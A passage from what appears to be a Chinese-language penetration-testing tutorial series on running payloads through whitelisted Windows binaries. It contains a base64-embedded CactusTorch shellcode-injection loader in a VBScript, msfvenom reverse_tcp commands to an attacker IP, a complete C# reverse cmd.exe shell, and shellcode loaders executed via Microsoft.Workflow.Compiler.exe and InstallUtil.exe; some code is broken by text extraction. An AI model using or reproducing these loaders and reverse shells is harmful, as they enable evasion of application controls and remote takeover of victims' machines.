"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgIoDwAACioT"
s = s &
"MAoABwEAAAEAABEEKBAAAAoKEgEGjmkoEQAACnMJAAAGDAgWfTUAAARyAQAAcBMEcgMAAHAoEgAA"
s = s &
"Cm8TAAAKFjEZch0AAHAoEgAACnIrAABwAygUAAAKEwQrF3IdAABwKBIAAApyQQAAcAMoFAAAChME"
s = s &
"EQQUFBQXGn4VAAAKFAgSAygBAAAGJgl7BAAABBMFEgUoFgAACnJXAABwKBcAAAosbhEFFnMRAAAK"
s = s &
"ByAAMAAAH0AoAgAABhMGEgYoFgAACnJXAABwKBgAAAosChEFFigEAAAGJioWEwcSCAaOaSgRAAAK"
s = s &
"EQURBgYRCBEHKAMAAAYmEQUWcxEAAAoWEQYWcxEAAAoWFnMRAAAKKAUAAAYmKnoCfhUAAAp9AgAA"
s = s &
"BAIoDwAACgICKBkAAAp9AQAABCoAABMwAgBgAAAAAAAAAJ+FQAACn0rAAAEAn4VAAAKfSwAAAQC"
s = s &
"fhUAAAp9LQAABAJ+FQAACn04AAAEAn4VAAAKfTkAAAQCfhUAAAp9OgAABAJ+FQAACn07AAAEAigP"
s = s &
"AAAKAgIoGQAACn0qAAAEKkJTSkIBAAEAAAAAAAwAAAB2Mi4wLjUwNzI3AAAAAAUAbAAAACgHAAAj"
s = s &
"fgAAlAcAAEwJAAAjU3RyaW5ncwAAAADgEAAAXAAAACNVUwA8EQAAEAAAACNHVUlEAAAATBEAANwB"
s = s &
"AAAjQmxvYgAAAAAAAAACAAABVx0CFAkCAAAA+gEzABYAAAEAAAAXAAAACQAAAFAAAAAJAAAAHwAA"
```

```
s = s &
"ABkAAAAzAAAAEgAAAAEAAAABAAAABQAAAAEAAAABAAAABwAAAAAAmQYBAAAAAAAGAFwFkgcGAMkF"
s = s &
"kgcGAIoEYAcPALIHAAAGALIE4QYGADAF4QYGABEF4QYGALAF4QYGAHwF4QYGAJUF4QYGAMkE4QYG"
s = s &
"AJ4EcwcGAHwEcwcGAPQE4QYGAKsIqQYGAGEEqQYGAE0FqQYGALAGqQYGAMoIqQYGAFkHqQYGAL4I"
s = s &
"qQYGAGYGqQYGAIQGcwcAAAAAJQAAAAAAAQABAAEAEABtBgAAPQABAAEACgAQAPgHAAA9AAEACAAK"
s = s &
"ARAAzgYAAEEABAAJAAIBAAAbCAAASQAIAAkAAgEAADYIAABJACcACQAKABAABgcAAD0AKgAJAAIB"
s = s &
"AABtBAAASQA8AAoAAgEAAPMGAABJAEUACgAGAH0G+gAGAEQHPwAGACQE/QAGAHQIPwAGAOcDPwAG"
s = s &
"AMgD+gAGAL0D+gAGBp4DAAFWgLICAwFWgMACAwFWgGQAAwFWgIgCAwFWgMIAAwFWgFMCAwFWgPEB"
s = s &
"AwFWgB0CAwFWgAUCAwFWgKABAwFWgAIDAwFWgF4BAwFWgEgBAwFWgOEBAwFWgE0CAwFWgDECAwFW"
s = s &
"gGoDAwFWgIIDAwFWgJkCAwFWgB0DAwFWgHYBAwFWgHUAAwFWgD0AAwFWgCcBAwFWgKgAAwFWgDoD"
s = s &
"AwFWgLkBAwFWgBgBAwFWgMYBAwFWgOUCAwEGBp4DAAFWgJEABwFWgHICBwEGAKYD+gAGAO8DPwAG"
s = s &
"ABcHPwAGADMEPwAGAEsD+gAGAJoD+gAGAOcF+gAGAO8F+gAGAEcI+gAGAFUI+gAGAOQE+gAGAC4I"
s = s &
"+gAGAOcICwEGAA0ACwEGABkAPwAGANIIPwAGANwIPwAGADQHPwAGBp4DAAFWgN4CDgFWgO8ADgFW"
s = s &
"gJ0BDgFWgNgCDgFWgNUBDgFWgA8BDgFWgJQBDgFWgAMBDgEGBp4DAAFWgOcAEgFWgFcAEgFWgNUA"
s = s &
"EgFWgFgDEgFWgGkCEgFWgE8DEgFWgN0AEgFWgGADEgFWgBEGEgFWgCQGEgFWgDkGEgEAAAAAgACW"
s = s &
"IC4AFgEBAAAAAACAAJYg8wgqAQsAAAAAAIAAliAJCTUBEAAAAAAAgACWIGMIPwEVAAAAAACAAJEg"
s = s &
"1ANFARcAUCAAAAAAhhg+BwYAHgBYIAAAAACGAE0EUAEeAGshAAAAAIYYPgcGACAAjCEAAAAAhhg+"
s = s &
"BwYAIAAAAAEAOwQAAAIAUwQAAAMA5AcAAAQA0QcAAAUAwQcAAAYACwgAAAcAvAgAAAgAHAkBAAkA"
s = s &
"BAcCAAoAzAYAAAEAGwQAAAIAiwgAAAMAAwYAAAQAawQAAAUAsggAAAEAdAgAAAIAfQgAAAMAIQcA"
s = s &
"AAQAAwYAAAUAtQYAAAEAdAgAAAIA+gMAAAEAdAgAAAIA0QcAAAMA9wUAAAQAlQgAAAUAKAcAAAYA"
s = s &
"CwgAAACAsgMAAAEAAgkAAAIAAQAJAD4HAQARAD4HBgAZAD4HCgApAD4HEAAxAD4HEAA5AD4HEABB"
s = s &
"AD4HEABJAD4HEABRAD4HEABZAD4HEABhAD4HFQBpAD4HEABxAD4HEACJAD4HBgB5AD4HBgCZAFMG"
s = s &
"KQChAD4HAQCpAAQELwCxAHkGNACxAKQIOAChABIHPwChAGQGQgCxADsJRgCxAC8JRgC5AAoGTAAJ"
s = s &
"ACQAWgAJACgAXwAJACwAZAAJADAAaQAJADQAbgAJADgAcwAJADwAeAAJAEAAfQAJAEQAggAJAEgA"
s = s &
"hwAJAEwAjAAJAFAAkQAJAFQAlgAJAFgAmwAJAFwAoAAJAGAApQAJAGQAqgAJAGgArwAJAGwAtAAJ"
s = s &
"AHAAuQAJAHQAvgAJAHgAwwAJAHwAyAAJAIAAzQAJAIQA0gAJAIgA1wAJAIwA3AAJAJAA4QAJAJQA"
s = s &
"5gAJAJgA6wAJAKAAWgAJAKQAXwAJAPQAlgAJAPgAmwAJAPwA8AAJAAABuQAJAAQB4QAJAAgB9QAJ"
s = s &
"AAwBvgAJABABwwAJABgBbgAJABwBcwAJACABeAAJACQBfQAJACgBWgAJACwBXwAJADABZAAJADQB"
s = s &
"aQAJADgBggAJADwBhwAJAEABjAAuAAsAVgEuABMAXwEuABsAfgEuACMAhwEuACsAhwEuADMAmAEu"
s = s &
"ADsAmAEuAEMAhwEuAEsAhwEuAFMAmAEuAFsAngEuAGMApAEuAGsAzgFDAFsAngGjAHMAWgDDAHMA"
```

```
s = s &
"WgADAXMAWgAjAXMAWgAaAIwGAAEDAC4AAQAAAQUA8wgBAAABBwAJCQEAAAEJAGMIAQAAAQsA1AMB"
s = s &
"AASAAAABAAAAAAAAAAAAAAAAAPcAAAACAAAAAAAAAAAAAABRAKkDAAAAAAMAAgAEAAIABQACAAYA"
s = s &
"AgAHAAIACAACAAkAAgAAAAAAAHNoZWxsY29kZTMyAGNiUmVzZXJ2ZWQyAGxwUmVzZXJ2ZWQyADxN"
s = s &
"b2R1bGU+AENyZWF0ZVByb2Nlc3NBAENSRUFURV9CUkVBS0FXQVlfRlJPTV9KT0IARVhFQ1VURV9S"
s = s &
"RUFEAENSRUFURV9TVVNQRU5ERUQAUFJPQ0VTU19NT0RFX0JBQ0tHUk9VTkRfRU5EAERVUExJQ0FU"
s = s &
"RV9DTE9TRV9TT1VSQ0UAQ1JFQVRFX0RFRkFVTFRfRVJST1JfTU9ERQBDUkVBVEVfTkVXX0NPTlNP"
s = s &
"TEUARVhFQ1VURV9SRUFEV1JJVEUARVhFQ1VURQBSRVNFUlZFAENBQ1RVU1RPUkNIAFdSSVRFX1dB"
s = s &
"VENIAFBIWVNJQ0FMAFBST0ZJTEVfS0VSTkVMAENSRUFURV9QUkVTRVJWRV9DT0RFX0FVVEhaX0xF"
s = s &
"VkVMAENSRUFURV9TSEFSRURfV09XX1ZETQBDUkVBVEVfU0VQQVJBVEVfV09XX1ZETQBQUk9DRVNT"
s = s &
"X01PREVfQkFDS0dST1VORF9CRUdJTgBUT1BfRE9XTgBHTwBDUkVBVEVfTkVXX1BST0NFU1NfR1JP"
s = s &
"VVAAUFJPRklMRV9VU0VSAFBST0ZJTEVfU0VSVkVSAExBUkdFX1BBR0VTAENSRUFURV9GT1JDRURP"
s = s &
"UwBJRExFX1BSSU9SSVRZX0NMQVNTAFJFQUxUSU1FX1BSSU9SSVRZX0NMQVNTAEhJR0hfUFJJT1JJ"
s = s &
"VFlfQ0xBU1MAQUJPVkVfTk9STUFMX1BSSU9SSVRZX0NMQVNTAEJFTE9XX05PUk1BTF9QUklPUklU"
s = s &
"WV9DTEFTUwBOT0FDQ0VTUwBEVVBMSUNBVEVfU0FNRV9BQ0NFU1MAREVUQUNIRURfUFJPQ0VTUwBD"
s = s &
"UkVBVEVfUFJPVEVDVEVEX1BST0NFU1MAREVCVUdfUFJPQ0VTUwBERUJVR19PTkxZX1RISVNfUFJP"
s = s &
"Q0VTUwBSRVNFVABDT01NSVQAQ1JFQVRFX0lHTk9SRV9TWVNURU1fREVGQVVMVABDUkVBVEVfVU5J"
s = s &
"Q09ERV9FTlZJUk9OTUVOVABFWFRFTkRFRF9TVEFSVFVQSU5GT19QUkVTRU5UAENSRUFURV9OT19X"
s = s &
"SU5ET1cAZHdYAFJFQURPTkxZAEVYRUNVVEVfV1JJVEVDT1BZAElOSEVSSVRfUEFSRU5UX0FGRklO"
s = s &
"SVRZAElOSEVSSVRfQ0FMTEVSX1BSSU9SSVRZAGR3WQB2YWx1ZV9fAGNiAG1zY29ybGliAGxwVGhy"
s = s &
"ZWFkSWQAZHdUaHJlYWRJZABkd1Byb2Nlc3NJZABDcmVhdGVSZW1vdGVUaHJlYWQAaFRocmVhZABs"
s = s &
"cFJlc2VydmVkAHVFeGl0Q29kZQBHZXRFbnZpcm9ubWVudFZhcmlhYmxlAGxwSGFuZGxlAGJJbmhl"
s = s &
"cmlOSGFuZGxlAGxwVGlObGUAbHBBcHBsaWNhdGlvbk5hbWUAZmxhbWUAbHBDb21tYW5kTGluZQBW"
s = s &
"YWx1ZVR5cGUAZmxBbGxvY2FOaW9uVHlwZQBHdWlkQXROcmlidXRlAERlYnVnZ2FibGVBdHRyaWJ1"
s = s &
"dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXROcmlidXRlAEFzc2VtYmx5VHJh"
s = s &
"ZGVtYXJrQXROcmlidXRlAGR3RmlsbEF0dHJpYnV0ZQBBc3NlbWJseUZpbGVWZXJzaW9uQXROcmli"
s = s &
"dXRlAEFzc2VtYmx5Q29uZmlndXJhdGlvbkF0dHJpYnV0ZQBBc3NlbWJseURlc2NyaXB0aW9uQXRO"
s = s &
"cmlidXRlAEZsYWdzQXROcmlidXRlAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAQXNz"
s = s &
"ZW1ibHlQcm9kdWN0QXROcmlidXRlAEFzc2VtYmx5Q29weXJpZ2hOQXROcmlidXRlAEFzc2VtYmx5"
s = s &
"Q29tcGFueUF0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBkd1hTaXplAGR3"
```

```
s = s &
"WVNpemUAZHdTdGFja1NpemUAZHdTaXplAFNpemVPZgBHVUFSRF9Nb2RpZmllcmZsYWcATk9DQUNI"
s = s &
"RV9Nb2RpZmllcmZsYWcAV1JJVEVDT01CSU5FX01vZGlmaWVyZmxhZwBGcm9tQmFzZTY0U3RyaW5n"
s = s &
"AFRvU3RyaW5nAGNhY3R1c1RvcmNoAGdldF9MZW5ndGgATWFyc2hhbABrZXJuZWwzMi5kbGwAQ0FD"
s = s &
"VFVTVE9SQ0guZGxsAFN5c3RlbQBFbnVtAGxwTnVtYmVyT2ZCeXRlc1dyaXR0ZW4AbHBQcm9jZXNz"
s = s &
"SW5mb3JtYXRpb24AU3lzdGVtLlJlZmxlY3Rpb24ATWVtb3J5UHJvdGVjdGlvbgBscFN0YXJ0dXBJ"
s = s &
"bmZvAFplcm8AbHBEZXNrdG9wAGJ1ZmZlcgBscFBhcmFtZXRlcgBoU3RkRXJyb3IALmN0b3IAbHBT"
s = s &
"ZWN1cml0eURlc2NyaXB0b3IASW50UHRyAFN5c3RlbS5EaWFnbm9zdGljcwBTeXN0ZW0uUnVudGlt"
s = s &
"ZS5JbnRlcm9wU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBEZWJ1Z2dp"
s = s &
"bmdNb2RlcwBiSW5oZXJpdEhhbmRsZXMAbHBUaHJlYWRBdHRyaWJ1dGVzAGxwUHJvY2Vzc0F0dHJp"
s = s &
"YnV0ZXMAU2VjdXJpdHlBdHRyaWJ1dGVzAGR3Q3JlYXRpb25GbGFncwBDcmVhdGVQcm9jZXNzRmxh"
s = s &
"Z3MAZHdGbGFncwBEdXBsaWNhdGVPcHRpb25zAGR3WENvdW5OQ2hhcnMAZHdZQ291bnRDaGFycwBU"
s = s &
"ZXJtaW5hdGVQcm9jZXNzAGhQcm9jZXNzAGxwQmFzZUFkZHJlc3MAbHBBZGRyZXNzAGxwU3RhcnRB"
s = s &
"ZGRyZXNzAENvbmNhdABPYmplY3QAZmxQcm90ZWN0AGxwRW52aXJvbm1lbnQAQ29udmVydABoU3Rk"
s = s &
"SW5wdXQAaFN0ZE91dHB1dAB3U2hvd1dpbmRvdwBWaXJ0dWFsQWxsb2NFeABiaW5hcnkAV3JpdGVQ"
s = s &
"cm9jZXNzTWVtb3J5AGxwQ3VycmVudERpcmVjdG9yeQBvcF9FcXVhbGl0eQBvcF9JbmVxdWFsaXR5"
s = s &
"AAAAAAABABlQAHIAbwBnAHIAYQBtAFcANgA0ADMAMgAADXcAaQBuAGQAaQByAAAVXABTAHkAcwBX"
s = s &
"AE8AVwA2ADQAXAAAFVwAUwB5AHMAdABlAG0AMwAyAFwAAAMwAAAARY+bzuLqxE+aSSAzLsphXgAE"
s = s &
"IAEBCAMgAAEFIAEBEREEIAEBDgQgAQECDgcJHQUYEhwREA4YGAgYBQABHQUOBAABDg4DIAAIBgAD"
s = s &
"Dg4ODgIGGAMgAA4FAAICDg4EAAEIHAi3elxWGTTgiQQBAAAABAIAAAAEBAAAAAQIAAAABBAAAAAE"
s = s &
"IAAAAARAAAAABIAAAAAEAAEAAAQAAgAABAAEAAAEAAgAAAQAEAAABAAgAAAEAEAAAAQAgAAABAAA"
s = s &
"AQAEAAACAAQAAAQABAAACAAEAAAQAAQAACAABAAAAAEEAAAAAgQAAAAEBAAAAAgEAAAAEAQAAAAg"
s = s &
"BAAAAEAEAAAAgAQAMAAABAAAQAACBggCBgICBgkDBhEUAwYRGAIGBgMGESADBhEkEwAKGA4OEgwS"
s = s &
"DAIRFBgOEhwQERAKAAUYGBgYESARJAkABQIYGB0FGAgFAAICGAkKAAcYGBgJGBgJGAUgAgEODggB"
s = s &
"AAgAAAAAAB4BAAEAVAIWV3JhcE5vbkV4Y2VwdGlvblRocm93cwEIAQACAAAAAAAQAQALQ0FDVFVT"
s = s &
"VE9SQ0gAAAUBAAAAAAUBAAEAACkBACQ1NjU5OGYxYy02ZDg4LTQ5OTQtYTM5Mi1hZjMzN2FiZTU3"
s = s &
"NzCAAAwBAAcxLjAuMC4wAAAASDUAAAAAAAAAAAAAYjUAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s &
"AFQ1AAAAAAAAAAAAAAAAX0NvckRsbE1haW4AbXNjb3JlZS5kbGwAAAAAAP8lACAAEAAAAAAAAAAA"
s = s &
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s &
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
```

```
s = s &
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAEAAAABgAAIAAAAAAAAAAAAAAAAAAAAEAAQAA"
s = s &
"ADAAAIAAAAAAAAAAAAAAAAAAAEAAAAAAAEgAAABYQAAANAMAAAAAAAAAAAAANAM0AAAAVgBTAF8A"
s = s &
"VgBFAFIAUwBJAE8ATgBfAEkATgBGAE8AAAAAAL0E7/4AAAEAAAABAAAAAAAAAAEAAAAAAD8AAAAA"
s = s &
"AAAABAAAAAIAAAAAAAAAAAAAAAAAAABEAAAAAQBWAGEAcgBGAGkAbABlAEkAbgBmAG8AAAAAACQA"
s = s &
"BAAAAFQAcgBhAG4AcwBsAGEAdABpAG8AbgAAAAAAAACwBJQCAAABAFMAdAByAGkAbgBnAEYAaQBs"
s = s &
"AGUASQBuAGYAbwAAAHACAAABADAAMAAwADAAMAA0AGIAMAAAADAADAABAEMAbwBtAG0AZQBuAHQA"
s = s &
"cwAAAEMAQQBDAFQAVQBTAFQATwBSAEMASAAAACIAAQABAEMAbwBtAHAAYQBuAHkATgBhAG0AZQAA"
s = s &
"AAAAAAAAAEAADAABAEYAaQBsAGUARABlAHMAYwByAGkAcAB0AGkAbwBuAAAAAABDAEEAQwBUAFUA"
s = s &
"UwBUAE8AUgBDAEgAAAAwAAgAAQBGAGkAbABlAFYAZQByAHMAaQBvAG4AAAAAADEALgAwAC4AMAAu"
s = s &
"ADAAAABAABAAAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAAAEMAQQBDAFQAVQBTAFQATwBSAEMA"
s = s &
"SAAuAGQAbABsAAAAPAAMAAEATABlAGcAYQBsAEMAbwBwAHkAcgBpAGcAaAB0AAAAQwBBAEMAVABV"
s = s &
"AFMAVABPAFIAQwBIAAAAKgABAAEATABlAGcAYQBsAFQAcgBhAGQAZQBtAGEAcgBrAHMAAAAAAAAA"
s = s &
"AABIABAAAQBPAHIAaQBnAGkAbgBhAGwARgBpAGwAZQBuAGEAbQBlAAAAQwBBAEMAVABVAFMAVABP"
s = s &
"AFIAQwBIAC4AZABsAGwAAAA4AAwAAQBQAHIAbwBkAHUAYwB0AE4AYQBtAGUAAAAAAEMAQQBDAFQA"
s = s &
"VQBTAFQATwBSAEMASAAAADQACAABAFAAcgBvAGQAdQBjAHQAVgBlAHIAcwBpAG8AbgAAADEALgAw"
s = s &
"AC4AMAAuADAAAAA4AAgAAQBBAHMAcwBlAG0AYgBsAHkAIABWAGUAcgBzAGkAbwBuAAAAMQAuADAA"
s = s &
"LgAwAC4AMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s &
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s &
"AAAAAAAAAAAAAAAAADAAAAwAAAB0NQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s &
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s &
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s &
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s &
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s &
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s &
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s &
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s &
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s &
"AAAAAAAAAAAAAAABDQAAAAQAAAAJFwAAAAkGAAAACRYAAAAGGgAAACdTeXN0ZW0uUmVmbGVjdGlv"
s = s & "bi5Bc3NlbWJseSBMb2FkKEJ5dGVbXSkIAAAACgsA"
entry_class = "cactusTorch"
```

```
Dim fmt, al, d, o
Set fmt =
CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter")
Set al = CreateObject("System.Collections.ArrayList")
al.Add fmt.SurrogateSelector

Set d = fmt.Deserialize_2(Base64ToStream(s))
Set o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class)
o.flame binary,code
End Sub

SetVersion
On Error Resume Next
Run
If Err.Number <> 0 Then
  Debug Err.Description
  Err.Clear
End If

self.close
</script>
```

76. 基于白名单Compiler.exe执行payload第六季

- Windows 7 默认位置

```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe
```

- 靶机执行

```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe
poc.xml Micropoor.tcp
```

- **payload**生成

```
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.1.4 LPORT=53 - f csharp
```

- 附录：poc.xml [注：**windows/shell/reverse_tcp**]

```
<?xml version="1.0" encoding="utf-8"?
>
<CompilerInput xmlns:i="http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Workflow.Compiler"
    <files
xmlns:d2p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
        <d2p1:string>Micropoor.tcp</d2p1:string>
    </files>
    <parameters
xmlns:d2p1="http://schemas.datacontract.org/2004/07/System.Workflow.ComponentMod
el.Compiler"
```

```
        <assemblyNames
xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays"
xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
        <compilerOptions i:nil="true"
xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
        <coreAssemblyFileName
xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">
</coreAssemblyFileName>
        <embeddedResources
xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays"
xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
        <evidence
xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Security.Policy"
i:nil="true"
xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
        <generateExecutable
xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</g
enerateExecutable>
        <generateInMemory
xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">true</ge
nerateInMemory>
        <includeDebugInformation
xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</i
ncludeDebugInformation>
        <linkedResources
xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays"
xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
        <mainClass i:nil="true"
xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
        <outputName
xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">
</outputName>
        <tempFiles i:nil="true"
xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
        <treatWarningsAsErrors
xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</t
reatWarningsAsErrors>
        <warningLevel
xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">-
1</warningLevel>

        <win32Resource i:nil="true"
xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
        <d2p1:checkTypes>false</d2p1:checkTypes>
        <d2p1:compileWithNoCode>false</d2p1:compileWithNoCode>
        <d2p1:compilerOptions i:nil="true" />
        <d2p1:generateCCU>false</d2p1:generateCCU>
        <d2p1:languageToUse>CSharp</d2p1:languageToUse>
        <d2p1:libraryPaths
xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays"
i:nil="true" />
        <d2p1:localAssembly
xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Reflection"
i:nil="true" />
        <d2p1:mtInfo i:nil="true" />
        <d2p1:userCodeCCUs
xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.CodeDom" i:nil="true"
/>
```

```
    </parameters>
</CompilerInput>
```

- **Micropoor.tcp**

```
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Net;
using System.Net.Sockets;
using System.Workflow.Activities;
public class Program : SequentialWorkflowActivity
{
    static StreamWriter streamWriter;
    public Program()
    {
        using(TcpClient client = new TcpClient("4", 53))
        {
            using(Stream stream = client.GetStream())
            {
                using(StreamReader rdr = new StreamReader(stream))
                {
                    streamWriter = new StreamWriter(stream);
                    StringBuilder strInput = new StringBuilder();
                    Process p = new Process();
                    p.StartInfo.FileName = "cmd.exe";
                    p.StartInfo.CreateNoWindow = true;
                    p.StartInfo.UseShellExecute = false;
                    p.StartInfo.RedirectStandardOutput = true;
                    p.StartInfo.RedirectStandardInput = true;
                    p.StartInfo.RedirectStandardError = true;
                    p.OutputDataReceived += new
DataReceivedEventHandler(CmdOutputDataHandler);
                    p.Start();
                    p.BeginOutputReadLine();
                    while(true)
                    {
                        strInput.Append(rdr.ReadLine());
                        p.StandardInput.WriteLine(strInput);
                        strInput.Remove(0, strInput.Length);
                    }
                }
            }
        }
    }
    private static void CmdOutputDataHandler(object sendingProcess,
DataReceivedEventArgs outLine)
    {
        StringBuilder strOutput = new StringBuilder();
        if (!String.IsNullOrEmpty(outLine.Data))
        {
            try
            {
                strOutput.Append(outLine.Data);
                streamWriter.WriteLine(strOutput);
```

```
                streamWriter.Flush();
            }
            catch (Exception err)
            {
            }
        }
    }
}
```

- Micropoor_rev1.cs【注：**x64 payload**】

```
using System;
using System.Workflow.Activities;
using System.Net;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Threading;
class yrDaTlg : SequentialWorkflowActivity
{
    [DllImport("kernel32")] private static extern IntPtr VirtualAlloc(UInt32
rCfMkmxRSAakg,UInt32 qjRsrljIMB, UInt32 peXiTuE, UInt32 AkpADfOOAVBZ);
    [DllImport("kernel32")] public static extern bool VirtualProtect(IntPt
rDStOGXQMMkP, uint CzzIpcuQppQSTBJ, uint JCFImGhkRqtwANx, out uint exgVp Sg);
    [DllImport("kernel32")]private static extern IntPtr CreateThread(UInt32
eisuQbXKYbAvA, UInt32 WQATOZaFz, IntPtr AEGJQOn,IntPtr SYcfyeeSgPl, UInt32
ZSheqBwKtDf, ref UInt32 SZtdSB);
    [DllImport("kernel32")] private static extern UInt32
WaitForSingleObject(IntPtr KqJNFlHpsKOV, UInt32 EYBOArlCLAM);
    public yrDaTlg()
    {
        byte[] QWKpWKhcs = { your shellcode}
        IntPtr AmnGaO = VirtualAlloc(0, (UInt32)QWKpWKhcs.Length, 0x3000, 0x04);
        Marshal.Copy(QWKpWKhcs, 0, (IntPtr)(AmnGaO), QWKpWKhcs.Length);
        IntPtr oXmoNUYvivZlXj = IntPtr.Zero;
        UInt32 XVXTOi = 0;
        IntPtr pAeCTf wBS = IntPtr.Zero;
        uint BnhanUiUJaetgy;
        bool iSdNUQK = VirtualProtect(AmnGaO, (uint)0x1000, (uint)0x20, out
BnhanUiUJaetgy);
        oXmoNUYvivZlXj = CreateThread(0, 0, AmnGaO, pAeCTfwBS, 0, ref XVXTOi);
        WaitForSingleObject(oXmoNUYvivZlXj, 0xFFFFFFFF);
    }
}
```

77. 基于白名单Csc.exe执行payload第七季

- 配置payload

```
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.1.4 LPORT=53 - f csharp
```

- 靶机执行

```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.Ente
rpriseServices.dll /r:System.IO.Compression.dll /target:library /out:Mic
opoor.exe /platform:x64 /unsafe C:\Users\John\Desktop\Micropoor_Csc.cs
```

```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile=
/LogToConsole=false /U C:\Users\John\Desktop\Micropoor.exe
```

- 附录：Micropoor_Csc.cs

```
using System;
using System.Net;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;
public class Program
{
    public static void Main()
    {
    }
}
[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer
{
    public override void Uninstall(System.Collections.IDictionary savedState)
    {
        Shellcode.Exec();
    }
}
public class Shellcode
{
    public static void Exec()
    {
        byte[] shellcode = new byte[510] {};
        UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode .Length,
        MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length);
        IntPtr hThread = IntPtr.Zero;
        UInt32 threadId = 0;
        IntPtr pinfo = IntPtr.Zero;
        hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
        WaitForSingleObject(hThread, 0xFFFFFFFF);
    }
    private static UInt32 MEM_COMMIT = 0x1000;
    private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
    [DllImport("kernel32")]
    private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,UInt32 size,
UInt32 flAllocationType, UInt32 flProtect);
    [DllImport("kernel32")]
    private static extern bool VirtualFree(IntPtr lpAddress,
    UInt32 dwSize, UInt32 dwFreeType);
